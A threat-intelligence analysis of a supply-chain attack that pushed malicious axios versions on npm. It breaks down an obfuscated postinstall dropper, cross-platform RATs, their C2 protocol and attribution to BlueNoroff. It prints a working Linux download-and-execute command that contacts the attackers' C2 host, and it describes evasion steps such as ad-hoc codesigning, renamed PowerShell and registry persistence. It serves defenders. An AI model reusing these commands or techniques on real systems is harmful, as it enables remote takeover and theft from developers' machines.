Breaking Down the Axios Attack: Obfuscated Dropper, Cross-Platform RATs, and the TA444/BlueNoroff Connection

Breaking Down the Axios Attack: Obfuscated Dropper, Cross-Platform RATs, and the TA444/BlueNoroff Connection

Published on

Breaking Down the Axios Supply Chain Attack: Dropper, Cross-Platform RATs, and BlueNoroff/TA444

Axios pulls over 37 million weekly downloads on npm. That kind of reach makes it a prime target, and someone took the shot. The npm account belonging to the library's primary maintainer, jasonsaayman, was compromised and used to push two malicious versions, executing a five-stage operation in under 24 hours: account takeover, dependency staging, payload injection, multi-platform RAT deployment, and evidence cleanup.

The dropper checks the victim's OS and pulls down a platform-specific RAT. A compiled Mach-O binary on macOS, a fileless PowerShell implant on Windows, or a Python script on Linux. Seconds after the RAT is running, the dropper wipes itself and swaps the malicious package.json for a clean stub. A developer checking their node_modules after install would see nothing out of place.

The cleanup was thorough. The trail wasn't.

Key Findings

  • Attacker hijacked the npm account of Axios maintainer jasonsaayman, published malicious axios@1.14.1 and axios@0.30.4, bypassing the legitimate CI/CD pipeline

  • Staged dependency plain-crypto-js was published clean first (v4.2.0), then weaponized 18 hours later (v4.2.1) with an obfuscated postinstall dropper

  • Dropper uses XOR + reversed Base64 obfuscation with key "OrDeR_7077" to hide all strings including C2 URL, imports, and payload scripts

  • Three platform-specific RATs deployed: compiled C++ Mach-O for macOS, fileless PowerShell for Windows, Python stdlib-only for Linux

  • Single C2 at sfrclak.com:8000 (142.11.206.73) routes payloads by POST body: product0 for macOS, product1 for Windows, product2 for Linux

  • Four shared C2 commands across all platforms: kill, peinject (binary drop), runscript (script execution), rundir (file browsing)

  • macOS variant bypasses Gatekeeper with ad-hoc codesigning; Windows is the only variant with persistence via Registry Run key "MicrosoftUpdate"

  • Linux peinject command is broken due to an undefined variable bug, confirming hasty porting from the Windows codebase

  • Dropper self-destructs in three steps: deletes itself, removes malicious package.json, swaps in clean v4.2.0 stub

  • C2 infrastructure links to TA444/BlueNoroff (DPRK) via shared ETag with known JustJoin server, same Hostwinds AS54290 subnet, and NukeSped malware classification

Here is how the whole thing played out.

Attack Timeline

Here's how the whole thing plays out. From npm install to a live RAT beaconing home, the entire chain takes under two seconds.

TimelineEvent
T-18 hoursAttacker publishes clean decoy plain-crypto-js@4.2.0 from account nrwise@proton.me
T-0Malicious plain-crypto-js@4.2.1 published with postinstall hook containing obfuscated dropper
T+0Compromised axios@1.14.1 and axios@0.30.4 published from hijacked jasonsaayman account
T+0.1sVictim runs npm install. postinstall triggers setup.js
T+0.5sDropper decrypts string table, detects OS, downloads platform-specific RAT
T+1.0sRAT active. First beacon (FirstInfo) sent to C2
T+1.5sAnti-forensics complete. setup.js deleted, package.json swapped with clean stub
T+60sRAT enters 60-second beacon loop, awaiting C2 commands

By the time npm install finishes, the dropper has already run, deployed the RAT, and erased all traces. No errors, no warnings, nothing unusual in the terminal output.

Account Compromise and Dependency Staging

The attacker took over jasonsaayman's npm account and changed the registered email to ifstap@proton.me: a full credential takeover. We confirmed the malicious versions were published manually, not through GitHub Actions. They're missing the cryptographic trustedPublisher signature and the gitHead reference that legitimate Axios releases carry.

About 18 hours before the attack, the attacker published a clean plain-crypto-js@4.2.0 to get some legitimate publishing history on the package. Then they pushed v4.2.1 with the postinstall hook that kicks off the dropper:

"scripts": {
  "postinstall": "node setup.js"
}

                
Copy

Package Hashes

PackageSHAStatus
axios@1.14.12553649f232204966871cea80a5d0d6adc700caMALICIOUS
axios@0.30.4d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71MALICIOUS
plain-crypto-js@4.2.107d889e2dadce6f3910dcbc253317d28ca61c766MALICIOUS
axios@1.14.07c29f4cf2ea91ef05018d5aa5399bf23ed3120ebSAFE

Getting the malicious versions onto npm was step one. Step two was making sure something ran when a developer installed them.

The Dropper: setup.js Analysis

We started by pulling apart setup.js, the file that kicks everything off. At first glance, it looks harmless. no hardcoded URLs, no suspicious imports, no system commands visible in plain text. But that's by design. Everything the dropper needs is encrypted inside an array with 18 entries, and none of it becomes readable until the script actually runs.

The obfuscation uses two layers. The first layer is a character-level XOR cipher that takes the encryption key "OrDeR_7077" and XORs each byte against a key digit and the constant 333. The second layer wraps the result in a reversed Base64 encoding, where underscore characters stand in for the equals-sign padding. At runtime, the dropper reverses the string, restores the Base64 padding, decodes it, and then runs the XOR pass to get the original text. It's enough to defeat static scanners and anyone doing a quick code review.

Figure 1: The obfuscated setup.js source code. All strings are hidden inside the encrypted stq[] array, making the dropper appear harmless during casual inspection

We wrote a decoder script and ran it against all 18 entries in the array. That's when the real picture came into focus. The decrypted values revealed the C2 server URL (http://sfrclak.com:8000/), the Node.js modules the dropper needs to import (child_process for shell execution, os for platform detection, fs for file manipulation), the platform identifier strings it checks against, and, most importantly, complete platform-specific payload scripts for Windows, macOS, and Linux, each one ready to deploy a different RAT variant.

Figure 2: The two decryption functions that unpack the stq[] array at runtime. a XOR cipher combined with reversed Base64 encoding

The decoded array also contained the dropper's anti-forensics targets: the filenames package.json (which it deletes) and package.md (a clean replacement stub that gets renamed into place). Even the file extensions for the Windows payload chain. .exe, .ps1, .vbs. were stored encrypted, leaving absolutely nothing readable in the source code.

Figure 3: Output from our decoder script showing the full contents of all 18 stq[] entries after decryption

With the string table decoded, the dropper's execution flow becomes straightforward. It dynamically imports the three Node.js modules using the decrypted names, constructs the full C2 URL by appending the campaign identifier "6202033" to the base URL, calls os.platform() to figure out which operating system it's running on, and branches into one of three completely different delivery paths. The deobfuscated version below makes the logic clear. This is the same code, just with every encrypted string replaced by its decoded value.

Figure 4: The deobfuscated dropper with all strings decoded. C2 URL construction, platform detection via os.platform(), and the main entry point are now clearly visible

With the string table decoded, the dropper's logic becomes straightforward. It knows the OS, and it acts accordingly.

Platform Detection and Payload Delivery

The dropper doesn't ship a single payload for all targets. Once it knows the victim's OS, it pulls down a RAT built specifically for that platform, using native scripting languages and execution methods that blend naturally with each environment. This makes detection harder because the delivery mechanism looks like normal system activity on each platform.

Windows Delivery Path

Windows gets the most complex delivery chain of the three. The dropper starts by locating powershell.exe on the system using the "where" command, then copies the entire binary to %PROGRAMDATA%\wt.exe. This renaming is deliberate. Security tools and EDR products that monitor for powershell.exe execution won't flag a process called wt.exe, even though it's functionally identical. With the renamed PowerShell in place, the dropper writes a VBScript to %TEMP%\6202033.vbs containing a hidden cmd.exe invocation that handles the actual download.

Figure 5: The Windows delivery path in the deobfuscated dropper. PowerShell gets copied and renamed to wt.exe for evasion

The VBScript uses the WScript.Shell COM object to launch everything hidden. It spawns cmd.exe with a window completely invisible, which runs curl to POST "packages.npm.org/product1" to the C2 server. The response. The full PowerShell RAT script. gets saved as a .ps1 file in %TEMP%, and the renamed wt.exe immediately executes it with -w hidden (hidden window) and -ep bypass (skip execution policy). After the RAT is running in memory, both the VBScript and the .ps1 file get deleted.

The persistence mechanism writes a one-line batch file to %PROGRAMDATA%\system.bat that contains the same fileless download command. This batch file is what runs on every boot through the Registry Run key, re-downloading a fresh copy of the RAT directly into memory each time:

Figure 6: The Windows Stage-1 launcher (system.bat). a single line that downloads the RAT into memory via Invoke-WebRequest and executes it through a ScriptBlock without ever writing to disk

This is a truly fileless persistence mechanism. The RAT script never exists on disk as a standalone .ps1 file during the re-infection path. Security tools scanning the filesystem for suspicious PowerShell scripts won't find anything because everything happens in memory.

Linux Delivery Path

Linux gets the simplest and most direct delivery of the three platforms. There's no intermediate scripting language, no binary renaming, no staged execution. just a single inline shell command:

curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033
  && nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &

                
Copy

Curl sends an HTTP POST with "packages.npm.org/product2" in the body, telling the C2 to serve the Linux payload. The response gets saved to /tmp/ld.py, and nohup python3 launches it immediately in the background. The nohup ensures the RAT process survives even after the Node.js dropper exits, and redirecting everything to /dev/null keeps the execution completely silent. no output in the terminal, no error messages, nothing to tip off the developer that something just happened.

macOS Delivery Path

The macOS delivery uses AppleScript as an intermediate execution layer, which is a smart choice because osascript execution is a completely normal and common activity on macOS systems. The dropper writes an AppleScript to /tmp/6202033 that performs three chained operations: it downloads the Mach-O RAT binary from the C2, makes it executable, and launches it in the background via /bin/zsh (macOS's default shell since Catalina). Looking at the deobfuscated dropper code, we can see exactly how it constructs the AppleScript payload with the C2 endpoint, persistence path, and the nohup osascript execution command.

Figure 7: The macOS delivery path in the deobfuscated dropper. AppleScript payload construction with persistence path, curl download, chmod 770, and silent osascript execution

The dropper builds the AppleScript with three variables: an empty spacer string, the full C2 URL, and the persistence path /Library/Caches/com.apple.act.mond. It writes this script to /tmp/<campaignId>, launches it silently with nohup osascript, then moves on to anti-forensics. The actual AppleScript content that ends up on disk is shown below. the chained curl, chmod, and /bin/zsh commands that download, permission, and execute the Mach-O binary:

Figure 8: The decoded macOS AppleScript as written to /tmp/6202033. three variables (empty spacer, C2 URL, persistence path), chained shell commands inside a try block, and self-deletion at the end

The persistence path deserves attention: /Library/Caches/com.apple.act.mond. This is deliberately crafted to mimic Apple's reverse-DNS naming convention ( com.apple.<service>) inside a legitimate system cache directory. A system administrator browsing /Library/Caches/ would see dozens of real com.apple.* files alongside this one and likely skip right past it. The name "act.mond" even sounds like it could be an "activity monitor daemon". Something Apple might actually ship.

Once the payload is running, the dropper has one job left.

Anti-Forensics

Right after the platform payload launches, the dropper runs a three-step cleanup. Here's the anti-forensics code that deletes itself, removes the malicious package.json, and swaps in a clean v4.2.0 stub:

Figure 9: Anti-forensics: fs.unlink(self), fs.unlink(package.json), fs.rename(package.md → package.json)

When it's done, node_modules/plain-crypto-js/ looks like a perfectly normal, slightly outdated JavaScript package. The dropper is gone, the malicious manifest is gone, and a clean replacement sits in its place.

The dropper is gone. The RAT is not. Here is what each variant does once it's running.

Windows RAT: PowerShell In-Memory Implant

The Windows payload is a PowerShell script that never touches disk as a standalone file. It's downloaded and executed entirely in memory through an Invoke-WebRequest and ScriptBlock chain. It's the only variant of the three that bothers with persistence. Once it's running, it immediately sets up a mechanism to survive reboots, starts collecting system information, and begins beaconing to the C2 server every 60 seconds.

Initialization and Persistence

The RAT's first action on execution is to establish persistence so it can survive a system reboot. It generates a random 16-character alphanumeric session UID that uniquely identifies this victim, then pulls a comprehensive system profile using WMI queries: hostname, username, full OS version with architecture, timezone, last boot time, OS install date, hardware model, and CPU type. With that data collected, it creates a hidden batch file at %PROGRAMDATA%\system.bat and registers it as a startup item through the Registry Run key HKCU...\CurrentVersion\Run with the value name "MicrosoftUpdate", chosen specifically to look like a legitimate Windows Update entry during casual inspection.

Figure 10: Windows RAT initialization: system recon via WMI, persistence setup (MicrosoftUpdate Run key), and C2 communication function with fake IE8 User-Agent

C2 communication goes through System.Net.WebClient with a fake IE8 User-Agent string. All request bodies are JSON-serialized, UTF-8 encoded, then Base64-wrapped. This encoding pipeline is the same across all three platform variants.

Script Execution Handler

The runscript command is where the attacker gets arbitrary PowerShell execution on the victim's machine. We found three distinct execution paths in the handler, each designed for a different scenario. When the C2 sends just a parameter with no script body, the RAT executes it as a direct PowerShell command.

The content gets double-encoded (UTF-16 then Base64) and passed through PowerShell's -EncodedCommand flag, keeping everything entirely in memory with no filesystem artifacts. Larger scripts that exceed command-line length limits get written to a temporary .ps1 file with a random GUID filename in %TEMP%, executed via the -File parameter, and immediately deleted afterward.

Figure 11: Do-Action-Scpt: three execution paths. direct command, in-memory EncodedCommand (<10KB), and a temp file for large scripts

The in-memory path leaves no filesystem artifacts. The temp file path is only a fallback for scripts that exceed command-line length limits.

Command Dispatcher

The command dispatcher function sits at the center of the RAT's operation. Every time a beacon comes back from the C2 with data in the response, this function parses the JSON, reads the "type" field, and routes the request to the appropriate handler.

It supports four command types: kill to gracefully terminate the RAT, peinject for in-memory .NET assembly injection into cmd.exe, runscript for arbitrary PowerShell execution, and rundir for remote filesystem browsing with detailed metadata.

Figure 12: Process-Request: command dispatcher handling kill (exit 0), peinject (.NET Reflection), runscript, and rundir

On a peinject command, the handler loads a .NET DLL via Reflection, grabs Extension.SubRoutine.Run2, and invokes it to inject a payload into cmd.exe. The variable names are reversed on purpose. $rotjni is "injtor" and $daolyap is "payload" spelled backwards.

Beacon Loop

The main function starts by detecting the CPU architecture (x64 vs ARM), then sends the initial FirstInfo beacon to the C2 with directory listings of the user's Documents, Desktop, OneDrive, AppData\Roaming, and every filesystem drive root. This gives the attacker an immediate map of the victim's file system before any commands are even sent. After that, it enters an infinite loop that beacons every 60 seconds. The first iteration sends the complete system profile, including a full process list from WMI. Every subsequent iteration sends just a timestamp heartbeat to keep the connection alive without wasting bandwidth.

Figure 13: Main work() function: architecture detection, FirstInfo beacon, Win32_Process enumeration

Here's the beacon data structure: the first beacon carries the full system profile, subsequent ones just carry a timestamp. Each response gets checked for C2 commands:

Figure 14: Beacon loop: full BaseInfo with system profile on first iteration, then heartbeat-only, with 60-second sleep interval

The Linux variant strips everything back. No staging, no binary renaming, just a Python script and a shell command.

Linux RAT: Python Backdoor

The Linux variant is written entirely in Python 3 using only standard library modules. no pip installs, no external dependencies, nothing that would require a package manager. It mirrors the Windows RAT's full functionality with the same four C2 commands, the same JSON protocol, and the same Base64 encoding pipeline. The zero-dependency approach is a practical choice: the dropper can't guarantee pip is available, but Python 3 ships with nearly every modern Linux distribution.

System Reconnaissance

The RAT collects system information through Linux-specific methods that read directly from the kernel's virtual filesystems. It pulls the hostname from /proc/sys/kernel/hostname, calculates the boot time by reading uptime from /proc/uptime and subtracting it from the current time, estimates the OS installation date from the creation timestamp of /var/log/installer or /var/log/dpkg.log (depending on the distribution), and reads hardware vendor and model strings from /sys/class/dmi/id/sys_vendor and /sys/class/dmi/id/product_name. The recon functions are shown below:

Figure 15: Linux recon functions: get_os() for architecture detection, get_boot_time() via /proc/uptime, get_host_name(), get_user_name()

The hardware ID functions try to read DMI sysfs files that need root access. If the RAT is running as a regular user, those values come back as empty strings silently.

Figure 16: System info collection: get_installation_time() via dpkg logs, get_system_info() reading /sys/class/dmi for vendor and product name

Process Enumeration

Where the Windows variant uses WMI to enumerate processes, the Linux RAT walks the /proc filesystem directly. For each numeric directory under /proc (each one representing a running process), it reads the full command line from /proc/[pid]/cmdline (where null bytes separate the arguments), extracts the parent PID and process start time from /proc/[pid]/stat, reads the effective UID from /proc/[pid]/status, and resolves that UID to a username by parsing /etc/passwd line by line. It's more work than calling a single WMI query, but it achieves the same result without any external dependencies.

Figure 17: Process enumeration: walking /proc/[pid]/ directories, reading cmdline, stat, status, and resolving UIDs against /etc/passwd

The RAT marks its own process with a '*' prefix in the command line field so the attacker can spot it quickly in the process list.

C2 Communication

All C2 traffic goes through Python's http.client module, which is part of the standard library. There's no dependency on the popular requests package or urllib3. The same fake Internet Explorer 8 User-Agent string appears here that we saw in the Windows variant and will see again in the macOS binary. It's consistent across all three platforms, which makes it a reliable detection signature. On a Linux system, seeing an IE8 User-Agent in outbound HTTP traffic is about as suspicious as it gets.

Figure 18: send_post_request(): HTTP POST via http.client with fake IE8 User-Agent and 60-second timeout

It handles both HTTP and HTTPS connections, though this campaign only uses unencrypted HTTP on port 8000. The 60-second timeout keeps it from hanging forever if the C2 goes down.

Command Handlers

The Linux RAT supports the same four C2 commands as the Windows variant. The peinject handler is supposed to Base64-decode a binary payload from the C2, write it to a hidden file at /tmp/.<random_6_characters>, set permissions to 777 (world-executable), and launch it via subprocess. The runscript handler supports two modes: when no script is provided, it executes the parameter directly as a shell command through subprocess.run() with shell=True; when a Base64-encoded script is included, it decodes it and runs it through python3 -c.

Figure 19: Command handlers: do_action_ijt (binary drop + execute) and do_action_scpt (shell command or Python script execution)

Command Dispatcher

The command dispatcher parses JSON from the C2 response and routes each command to its handler. The structure is nearly identical to the Windows variant. same command type names, same JSON field names, same response format. This consistency across platforms confirms that someone worked from a shared specification when building these three RATs, even though they're written in completely different languages.

Figure 20: process_request(): C2 command dispatcher for kill, peinject, runscript, and rundir with CmdResult responses

Every command response goes back to the C2 as a CmdResult JSON object with the command ID, session UID, status code ("Wow" for success, "Zzz" for failure), and any output or error message.

Beacon Loop and Entry Point

The main beacon loop collects system information and sends it to the C2 every 60 seconds. There's a notable difference here from the Windows variant: the Linux RAT sends the complete system profile. hostname, username, OS version, timezone, boot time, hardware info, and the full process list. on every single beacon, not just the first one. The Windows version optimizes this by sending the full profile once and then switching to a lightweight timestamp-only heartbeat. The Linux version never implements that optimization, which wastes bandwidth and makes the beacon traffic slightly easier to spot on the network. This looks like something they planned to fix but never got around to during what appears to have been a rushed porting effort.

Figure 21: main_work(): infinite beacon loop sending full system info (hostname, username, OS, processes) every 60 seconds

The entry point reads the C2 URL from sys.argv[1], generates a 16-character session UID, scans key user directories ($HOME, .config, Documents, Desktop), fires off the FirstInfo beacon, and drops into the main loop.

Figure 22: work(): entry point. reads C2 URL from argv[1], generates UID, sends FirstInfo with directory listings, enters main_work loop

Linux RAT C2 Commands

The Linux RAT receives the same four commands from the C2 server, but handles each one using Python-native methods:

CommandTypeLinux Implementation
kill"kill"Sends rsp_kill acknowledgment, then calls sys.exit(0) to terminate the Python process
peinject"peinject"BROKEN: attempts base64.b64decode(b64_string), but b64_string is undefined, throws NameError every time. Should use ijtbin parameter. Binary drop never executes on Linux.
runscript"runscript"Two modes: subprocess.run(shell=True) for direct shell commands, or subprocess.run(["python3","-c",decoded_script]) for Base64-encoded Python code
rundir"rundir"Uses pathlib.Path.iterdir() to enumerate directories, returns Name, IsDir, SizeBytes, Created (st_birthtime if available), Modified, HasItems

The macOS variant is a different animal. Where the other two are scripts, this one is a compiled C++ binary with a Gatekeeper bypass built in.

macOS RAT: Compiled Mach-O Binary (IDA Pro)

The macOS variant is a completely different animal from the Windows and Linux payloads. Instead of an interpreted script, it's a compiled C++ native binary weighing in at 657 KB. roughly 60 times the size of the other two variants. That's a significant investment of development effort. It links against macOS's built-in libcurl for HTTP communication, libc++ for the C++ standard library, and ships with a statically linked copy of the nlohmann::json library for JSON parsing. We loaded the binary into IDA Pro for static analysis and identified 23 meaningful functions that together reveal the full structure of the RAT's operation.

C2 Communication

It handles all HTTP traffic between the RAT and the C2 server. It configures libcurl with POST mode enabled, the same fake Internet Explorer 8 User-Agent string we've seen in the other two variants, a 30-second connection timeout, and redirect following. Request bodies are Base64-encoded before sending, maintaining full protocol compatibility with the Windows and Linux versions. It uses macOS's system-installed /usr/lib/libcurl.4.dylib rather than bundling its own HTTP stack, which keeps the binary smaller and avoids the need to ship OpenSSL.

Figure 23: IDA Pro: C2_SendPost_Curl showing libcurl CURLOPT settings. POST mode, fake IE8 User-Agent, 30s timeout, redirect following

The screenshot below shows the libcurl configuration, where you can see each CURLOPT being set, including the hardcoded fake IE8 User-Agent string that ties this binary to the same C2 infrastructure as the Windows and Linux variants.

Binary Drop with Gatekeeper Bypass

This is the most interesting part in the entire binary and the one that sets the macOS variant apart from the other two platforms. When the C2 sends a peinject command, the handler Base64-decodes the payload, generates a random 6-character string for the filename, writes the binary to /private/tmp/ as a hidden file (the leading dot in the filename makes it invisible to ls without the -a flag), and sets executable permissions via chmod to 0755. But then it does something neither the Windows nor Linux variant needs to do. It bypasses macOS Gatekeeper.

Figure 24: Drop. Base64Decode, snprintf("/private/tmp/.%s"), fwrite, chmod 0755, codesign --force --deep --sign -, popen()

The key line is the codesign call: codesign --force --deep --sign - applies an ad-hoc code signature to the dropped binary. On macOS, Gatekeeper blocks execution of any unsigned binary, so without this step the payload would be quarantined and never run.

The --force flag overwrites any existing signature that might be present, --deep ensures nested frameworks or bundles inside the binary also get signed, and --sign - tells codesign to use an ad-hoc identity that doesn't require an Apple Developer certificate.

technique maps to MITRE T1553.002 (Subvert Trust Controls: Code Signing) and is a clear sign that whoever built this binary understood macOS security mechanisms at a practical level. You don't add codesigning to your malware unless you've hit the Gatekeeper wall during testing.

AppleScript Execution

When the C2 sends a runscript command with a script payload, the binary doesn't execute it directly as shell code like the other platforms do. Instead, it creates a temporary AppleScript file using mkstemps with the template /tmp/.XXXXXX.scpt, writes the decoded script content into it, and executes it through /usr/bin/osascript. macOS's built-in AppleScript interpreter. This gives the attacker access to macOS-specific automation capabilities like UI interaction, application control, and system dialog manipulation that wouldn't be possible through a simple shell command. Any additional parameters from the C2 are parsed through a shell-split function and appended to the argument vector.

Figure 25: RAT_Cmd_RunAppleScript. Base64DecodeToString, CreateTempScptFile via mkstemps, /usr/bin/osascript execution, unlink cleanup

After execution finishes and stdout is captured through a pipe back to the parent process, the temporary .scpt file is immediately deleted. If the C2 sends a runscript command with an empty script field and only a parameter, the binary falls back to direct shell execution through /bin/sh -c, which gives the attacker standard Unix command-line access as a fallback.

Architecture Detection

One of the smaller but important functions in the binary handles architecture detection. It queries the macOS kernel using sysctlbyname with the parameter "hw.optional.arm64" to determine whether the system is running on Apple Silicon or Intel hardware:

Figure 26: Recon_GetOS. sysctlbyname("hw.optional.arm64") returning "mac_arm" or "mac_x64"

If the sysctl call returns 1, the binary reports "mac_arm" to the C2 server. Otherwise, it defaults to "mac_x64". This architecture information is important because it tells the attacker which type of binary to send through the peinject command. An ARM64 Mach-O won't run on an Intel Mac and vice versa, so the C2 needs to know which one to serve.

Process Enumeration

For enumerating running processes, the macOS variant takes a simpler approach than the Linux one. Instead of walking /proc directories (which don't exist on macOS), it calls popen with "ps -eo user,pid,command" and reads the output line by line through fgets into a 4096-byte buffer. The result is a formatted string showing every running process with its owner, PID, and full command line. the same data the other variants collect, just gathered through a different method.

Figure 27: Recon_GetProcessList. popen("ps -eo user,pid,command") with fgets output parsing loop

The process list goes into every BaseInfo beacon, giving the attacker a live view of what's running on the machine.

macOS RAT C2 Commands

The macOS RAT receives the same four commands, but implements each one using compiled C++ with macOS-native APIs and a unique Gatekeeper bypass technique:

CommandTypemacOS Implementation
kill"kill"Sends rsp_kill acknowledgment, then calls exit(0) to terminate the Mach-O binary process
peinject"peinject"Base64-decodes payload, writes to /private/tmp/.<random> (hidden), chmod 0755, runs codesign --force --deep --sign - to bypass Gatekeeper, then executes via popen()
runscript"runscript"Creates temp .scpt file via mkstemps(), executes through /usr/bin/osascript (AppleScript), captures stdout via pipe, deletes temp file. Falls back to /bin/sh -c if the Script field is empty
rundir"rundir"Uses std::filesystem directory iteration with stat() calls, returns Name, IsDir, SizeBytes, Created (st_birthtimespec), Modified, HasItems

Three platforms, three languages, three delivery methods. The protocol underneath them is identical.

Shared RAT Architecture and C2 Protocol

All three RATs are written in different languages, but they speak the same C2 protocol. The JSON message structures, field names, encoding scheme, and even the status code strings ("Wow" and "Zzz") are identical across platforms.

C2 Remote Commands

These are the commands the attacker can send to the RAT, delivered in the JSON response during each 60-second beacon:

CommandType FieldDescription
kill"kill"Terminate the RAT process and send acknowledgment to C2
peinject"peinject"Base64-decode a native binary, write to disk, and execute
runscript"runscript"Execute arbitrary script (PowerShell / Python / AppleScript)
runscript (empty)"runscript"Execute a direct shell command when the Script field is empty
rundir"rundir"Browse the victim file system and return file/directory metadata

C2 Response Commands

ResponseSent AfterContent
rsp_killkillAcknowledgment with status "success", then exit
rsp_peinjectpeinjectBinary drop result: "Wow" or "Zzz" with error
rsp_runscriptrunscriptCaptured stdout from executed script
rsp_rundirrundirJSON array: Name, IsDir, SizeBytes, Created, Modified, HasItems

Status Codes

CodeMeaningExample
"Wow"SuccessBinary dropped and launched, script output captured
"Zzz"FailureException message (e.g. "name 'b64_string' is not defined")
"success"Kill ackUsed only for the kill command acknowledgment

Beacon Message Types

TypeWhen SentContent
FirstInfoOnce on startupSession UID, OS identifier, directory listings
BaseInfoEvery 60 secondsSystem info + heartbeat timestamp
CmdResultAfter each commandStatus code (Wow/Zzz) and output
JSON responseIn beacon responseCommand with parameters

Platform Implementation Comparison

FeatureWindowsLinuxmacOS
Script EnginePowerShell -EncodedCommandpython3 -cosascript (.scpt)
Binary Inject.NET Reflection → cmd.exeWrite /tmp + chmod (BROKEN)Write + chmod + codesign
Process EnumWMI Win32_Process/proc walkingps -eo
PersistenceRegistry Run keyNONENONE
Initial ReconDocs, Desktop, OneDrive, AppData, all drives$HOME, .config, Docs, Desktop$HOME, Docs, Desktop, Downloads, /Applications

The shared protocol points to a single developer or team. The infrastructure points to something more specific.

Attribution: TA444/BlueNoroff (DPRK)

We're attributing this attack to TA444/BlueNoroff based on multiple converging lines of evidence. TA444/BlueNoroff operates as a financially motivated subgroup of the Lazarus collective under DPRK direction, and they've been running supply chain attacks against the JavaScript and Python ecosystems for years. The attribution here doesn't rest on any single indicator.

It comes from multiple independent lines of evidence that all point in the same direction: infrastructure overlaps, malware family classification, tactical alignment, and hosting patterns that match documented TA444/BlueNoroff operations.

Infrastructure Overlap: Shared ETag

The strongest piece of evidence is a network infrastructure overlap. We pivoted from the Axios C2 server at 142.11.206[.]73 and found that it shares a unique HTTP ETag header with 23.254.167[.]216, a server that we previously documented as active TA444/BlueNoroff infrastructure.

That server was hosting a "JustJoin" landing page, a macOS application theme previously linked to TA444/BlueNoroff campaigns by both SentinelOne and Hunt.io. ETag headers are typically generated by the web server based on file content and modification time, so sharing a unique ETag across two different servers strongly suggests they're managed by the same operator, likely serving identical content from a common deployment pipeline.

We pulled the C2 IP details from Hunt.io and confirmed it sits on Hostwinds AS54290 within the 142.11.192.0/18 subnet. That same /18 block contains at least three other IP addresses that have been independently confirmed as Lazarus Group infrastructure in previous investigations.

Figure 28: overview for 142.11.206[.]73. the Axios C2 server hosted on Hostwinds LLC in Dallas, Texas, AS54290, within the 142.11.192.0/18 subnet that contains confirmed Lazarus infrastructure

Hostwinds is the most frequently observed hosting provider in Hunt.io's tracking of TA444/BlueNoroff operations. The provider offers affordable VPS instances with minimal identity verification and accepts cryptocurrency payments, making it attractive for threat actors who need disposable infrastructure that's quick to provision and hard to trace back. The provider profile below shows the hosting characteristics that make it a repeated choice for this threat group.

Figure 29: Hostwinds provider profile showing cryptocurrency payment acceptance, medium bulletproof rating, and detected malicious activity, including C2 scanning and phishing sites

The combination of the same ASN, the same /18 subnet, a shared unique ETag with a documented DPRK server, and the use of Hostwinds (BlueNoroff's most common hosting provider) creates a strong infrastructure link that's difficult to explain as a coincidence.

JustJoin Campaign Connection

The server at 23.254.167[.]216 that shares the ETag with our Axios C2 was actively hosting a "JustJoin" landing page, a fake macOS application designed for monitoring Zoom meetings. Public reporting from SentinelOne has linked these JustJoin-themed domains to BlueNoroff's broader campaign of targeting developers and cryptocurrency workers through spoofed virtual meeting platforms.

The fact that the Axios attack also places heavy emphasis on a sophisticated macOS Mach-O binary (the most developed of the three platform variants) fits this pattern of macOS-focused operations.

Hunt.io's investigation of the JustJoin infrastructure revealed deeper connections. Two additional servers. 108.174.194[.]44 and 108.174.194[.]196. share the same SSH key fingerprint (e1f6b7f621a391a9d26e9a196974f3e2cc1ce8b4d8f73a14b2e8cb0f2a40289f) with the 23.254.167[.]216 server, indicating coordinated management across all three. The second linked server had email service ports open (143, 993, 995), suggesting it was configured for phishing operations.

Figure 30: 23.254.167[.]216 server sharing the same ETag with our Axios C2 server

NukeSped Malware Classification

Beyond the infrastructure links, the macOS Mach-O binary itself has been classified as NukeSped, a malware family that is exclusively associated with the Lazarus Group. NukeSped isn't a commodity tool or an open-source framework that multiple threat actors might pick up; its use is a strong standalone indicator of DPRK origin.

Additionally, the binary's internal naming convention references "macWebT", which directly matches malware documented by SentinelOne in their 2023 reporting on TA444/BlueNoroff macOS campaigns. This naming continuity across campaigns suggests code reuse or shared development within the same team.

TTP Alignment

The tactics, techniques, and procedures in this attack align closely with documented TA444/BlueNoroff operations across several dimensions. The group has a well-established pattern of targeting software supply chains through npm and PyPI packages, going back to at least 2023. They consistently build cross-platform toolkits with particular attention to macOS (where they've deployed GhostCall and GhostHire campaigns).

Their infrastructure repeatedly shows up on Hostwinds VPS instances. They target developer machines because developers often have access to cryptocurrency wallets, cloud credentials, and signing keys that support BlueNoroff's primary mission: generating revenue for the DPRK regime through financial theft.

The use of Proton Mail addresses (ifstap@proton.me and nrwise@proton.me) for the compromised npm accounts also fits the pattern. DPRK-linked threat actors consistently use privacy-preserving email services for infrastructure registration, and Proton Mail's anonymous signup process makes it a repeated choice across multiple Lazarus campaigns.

Confidence Assessment

We assessed each evidence layer independently and assigned confidence levels based on how uniquely it ties to TA444/BlueNoroff versus other possible explanations:

Evidence LayerSpecific IndicatorConfidence
Shared ETagAxios C2 shares a unique ETag with 23.254.167[.]216 (documented DPRK JustJoin server)HIGH
ASN + SubnetSame Hostwinds AS54290, same /18 subnet as 3+ confirmed Lazarus IPsHIGH
JustJoin CampaignETag-linked server hosts known TA444/BlueNoroff macOS lure pageHIGH
NukeSped ClassificationmacOS binary classified as Lazarus-exclusive malware familyHIGH
SSH Key Cluster3 servers share SSH fingerprint e1f6b7f6..., indicating coordinated managementHIGH
TTP Alignmentnpm supply chain targeting, macOS focus, multi-platform RATs, developer targetingMEDIUM-HIGH
Hosting PatternHostwinds VPS is BlueNoroff's most frequently observed providerMEDIUM
Email OpSecProton Mail anonymous registration matches DPRK operational patternsLOW (alone)

Taken individually, some of these indicators (like the Proton Mail usage or Hostwinds hosting) wouldn't be sufficient for attribution. But the cumulative weight of all eight evidence layers, especially the shared ETag, NukeSped classification, and SSH key cluster, points strongly to TA444/BlueNoroff as the operator behind this campaign.

The following indicators were identified through infrastructure pivoting from the Axios C2 server and are associated with the broader TA444/BlueNoroff operation:

TypeIndicatorContext
IP23.254.167[.]216JustJoin landing page host shares a unique ETag with Axios C2
IP108.174.194[.]44Shared SSH key with JustJoin server, active at time of writing
IP108.174.194[.]196Shared SSH key, email ports 143/993/995 open (phishing infrastructure)
Domaina0info.v6[.]armyJustJoin landing page, registered via NameCheap
